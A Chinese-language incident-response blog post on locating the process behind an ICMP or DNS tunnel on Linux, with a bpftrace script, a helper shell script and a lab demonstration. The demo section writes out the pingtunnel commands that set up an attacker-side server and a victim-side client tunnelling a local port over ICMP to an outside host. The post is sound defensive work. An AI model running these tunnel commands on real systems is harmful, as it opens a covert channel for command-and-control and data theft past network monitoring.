前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ICMP/DNS 隧道处置方法 | Linux 应急响应

ICMP/DNS 隧道处置方法 | Linux 应急响应

作者头像
意大利的猫
发布2024-07-01 15:15:30
890
发布2024-07-01 15:15:30
举报
文章被收录于专栏:漫流砂漫流砂

0x01 简介

大家好,我们是 NOP Team,今天这篇文章要介绍的是如何处置 ICMP/DNS 隧道,处理思路是一致的,但 icmp 更具有代表性,所以下文均以 icmp 隧道视角讲述

在 2024-05-23 这天,有朋友通过公众号留言,询问了我关于 ICMP 隧道的处置方法,但是后来没聊几句这位朋友就没回复了,可能是解决了吧

昨天有看到,一个朋友在朋友圈发布了一款 ICMP 通信工具,还提到演练将至,给蓝队兄弟上点强度

于是便有了今天这篇文章,当然这是玩笑话,根本原因在于,我看到的网络安全文章中,基本上都在讨论如何发现 ICMP 隧道,感觉要把它拆开了,揉碎了,仔细研究一遍,但对于应急响应人员来说,如何发现意义不大,那是安全设备的功能,我们要考虑的是如何处置,而处置的难点在于:如何找到发出ICMP数据包的进程,这个内容我没有在网络安全文章中看到,反而是搞网络的朋友们可能研究过,这里涉及一个近几年很火的技术 —— BPF

0x02 BPF

BPF 是 Berkeley Packet Filter 的缩写,它是一种高效的数据包过滤和程序执行框架,最初设计于1992年,用于提高网络数据包的处理性能。起初,它的主要应用是在Unix和Linux系统中作为数据包嗅探工具的一部分,比如tcpdump和Wireshark,用来在内核级别过滤网络数据包,从而减少不必要的数据从内核空间传递到用户空间的过程,提升了效率。

随着时间的发展,BPF的功能得到了极大的扩展,特别是在2013年之后,Alexei Starovoitov和Daniel Borkman等人对BPF进行了重新设计和实现,引入了eBPF(extended Berkeley Packet Filter),使其成为了一个更加通用的内核执行引擎。eBPF不仅限于网络数据包过滤,还可以用于各种内核跟踪、安全监控、网络功能、性能分析等广泛场景。

通过eBPF(extended Berkeley Packet Filter),我们编写程序来获取ICMP请求包与之关联的进程信息,包括但不限于以下几点:

  1. 进程ID (PID):可以获取发起ICMP请求的进程的唯一标识符。
  2. 进程名称:通常通过PID查找对应的可执行文件名,了解是哪个应用程序发起了ICMP请求。
  3. 命令行参数:进一步获取进程启动时使用的完整命令行,有助于识别进程的具体行为或目的。
  4. 用户ID和组ID:了解是哪个用户账户运行了发起ICMP请求的进程。
  5. 网络连接信息:包括源IP地址、目的IP地址、端口号(尽管ICMP没有端口号,但IP头信息依然重要)等网络层详情。
  6. 进程路径:进程的可执行文件在文件系统中的完整路径。
  7. 内存使用情况:虽然不是直接从ICMP请求获取,但可以通过eBPF关联到进程上下文后进一步查询。
  8. CPU和时间使用统计:可以收集进程消耗的CPU时间和执行时间的信息。
  9. 打开的文件描述符:列出进程当前打开的文件和网络套接字等资源。

由于并没有学过相关知识,所以这里使用 bpftrace 来利用 ebpf 帮助我们完成功能,这是一个高级的动态跟踪工具和域特定语言(Domain Specific Language, DSL),专为Linux系统设计,用于简化和加速系统及应用程序的监控及故障排查过程。它是基于eBPF(Extended Berkeley Packet Filter)技术构建的,允许用户编写脚本以收集内核和用户空间的运行时信息,而无需修改或重启系统

https://zh.wikipedia.org/wiki/BPF

0x03 找出恶意进程

其实核心思路很简单,icmp 协议的数据包没有端口的概念,当然icmp隧道可能会需要监听端口哈,但很难直接通过端口来判断,我们还是聚焦在 icmp 数据包对应的ip上

我们来处理 icmp 隧道,肯定是安全设备有告警了,那么我们需要获取到icmp隧道的对应的ip或者域名,如果是ip,我们后期在利用 ebpf 的过程中,筛选与该ip通信的icmp流量,之后查找pid 就好了

如果是域名,可能会涉及到cdn,我们可以通过修改系统 hosts 文件,将该域名指向到特定的ip,当然是存在的ip,之后进行过滤

首先,我们需要在要运行的服务器上安装 bpftrace ,以 Ubuntu 为例

代码语言:javascript
复制
sudo apt update
sudo apt install bpftrace

我们使用以下 bfptrace 脚本监控与某个特定IP的所有请求,包括icmp,也包括dns

request_monitor.bt

代码语言:javascript
复制
#!/usr/bin/bpftrace
#include <linux/skbuff.h>
#include <linux/ip.h>
#include <linux/socket.h>

kprobe:__dev_queue_xmit
{
 @dev_queue_xmit[tid]=count();
 @skb[tid]=(struct sk_buff *)arg0;
}

kprobe:__dev_queue_xmit
/@skb[tid]/
{
 $skb = @skb[tid];
 $iph = (struct iphdr *)($skb->head + $skb->network_header);
 $sip = ntop(AF_INET, $iph->saddr);
 $dip = ntop(AF_INET, $iph->daddr);


 if ($iph->daddr == $1 || $iph->daddr == $2){
  printf("[+] Found the request to %s \n", $dip);
  printf("[-] pid=%d, thread_id=%d, comm=%s \n", pid,tid,comm);
 }
}

这里涉及到一个问题,我们是希望查看特定IP的请求,但是直接将IP传递给 bpftrace 脚本比较困难,它不是很好处理,所以这里使用 shell 脚本进行辅助,主要是帮我们把 IP 转化为数字,并且同时转化为大端和小端序,也就是说我们会同时监听大端和小端的地址

request_monitor.sh

代码语言:javascript
复制
#!/bin/bash

convert_ip_to_integers() {
  local ip=$1
  IFS='.' read -r a b c d <<< "$ip"
  
  # 计算大端序 (big-endian)
  be_ip_int=$((a << 24 | b << 16 | c << 8 | d))
  
  # 计算小端序 (little-endian),需要颠倒字节顺序
  le_ip_int=$((d << 24 | c << 16 | b << 8 | a))
  
  echo "$be_ip_int $le_ip_int"
}

# IP地址参数
IP="$1"

# 调用函数,获取大端和小端的整数表示
read big_endian little_endian <<< $(convert_ip_to_integers "$IP")

# 假设BPFtrace脚本期望两个参数,分别对应大端和小端

echo "Start listening for the request to $IP"
echo ""
sudo ./request_monitor.bt $big_endian $little_endian

脚本参考 https://blog.csdn.net/native_lee/article/details/124751325

0x04 ICMP 隧道排查演示

使用 pingtunnel 工具来模拟攻击者搭建的 icmp 隧道,服务端(攻击者)地址为 192.168.31.83

1. 服务端部署 icmp 隧道 server

代码语言:javascript
复制
wget https://github.com/esrrhs/pingtunnel/releases/download/2.8/pingtunnel_linux_amd64.zip
unzip pingtunnel_linux_amd64.zip

# 启动服务端,设置 key 为 1234
./pingtunnel -type server -key 1234

2. 受害端执行 icmp 隧道客户端

代码语言:javascript
复制
wget https://github.com/esrrhs/pingtunnel/releases/download/2.8/pingtunnel_linux_amd64.zip
unzip pingtunnel_linux_amd64.zip

# 连接服务端
sudo ./pingtunnel -type client -l :4445 -s 192.168.31.83 -t 192.168.31.83:4444 -tcp 1 -key 1234

3. 应急人员上机处置

根据安全设备告警,得知存在 ICMP 隧道,连接地址为 192.168.31.83

通过 netstat 进行查看

果然看不到

因为当前服务器已经默认存在 bpftrace ,所以这里就先不重复安装了,将 request_monitor.shrequest_monitor.bt 复制到受害服务器上,给两个脚本赋予执行权限

代码语言:javascript
复制
chmod +x request_monitor.sh
chmod +x request_monitor.bt

之后执行以下命令

代码语言:javascript
复制
sudo ./request_monitor.sh 192.168.31.83

等待几秒后,开始监听

可以看到,发现了 pid 为 14990 的进程存在与 192.168.31.83 的通信,而且是多线程的,我们使用 ps -aux 验证一下是不是这样

可以看到, 14990 进程确实为 icmp 隧道的进程,成功找到icmp 隧道

发现进程id后剩下就没什么可说的了,常规处置流程了,至于DNS隧道就不掩饰了,大同小异

0x05 脚本下载

如果文中不好复制,可以通过以下 Github 地址获取

https://github.com/Just-Hack-For-Fun/request_monitor

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-06-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 NOP Team 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 简介
  • 0x02 BPF
  • 0x03 找出恶意进程
  • 0x04 ICMP 隧道排查演示
    • 1. 服务端部署 icmp 隧道 server
      • 2. 受害端执行 icmp 隧道客户端
        • 3. 应急人员上机处置
        • 0x05 脚本下载
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档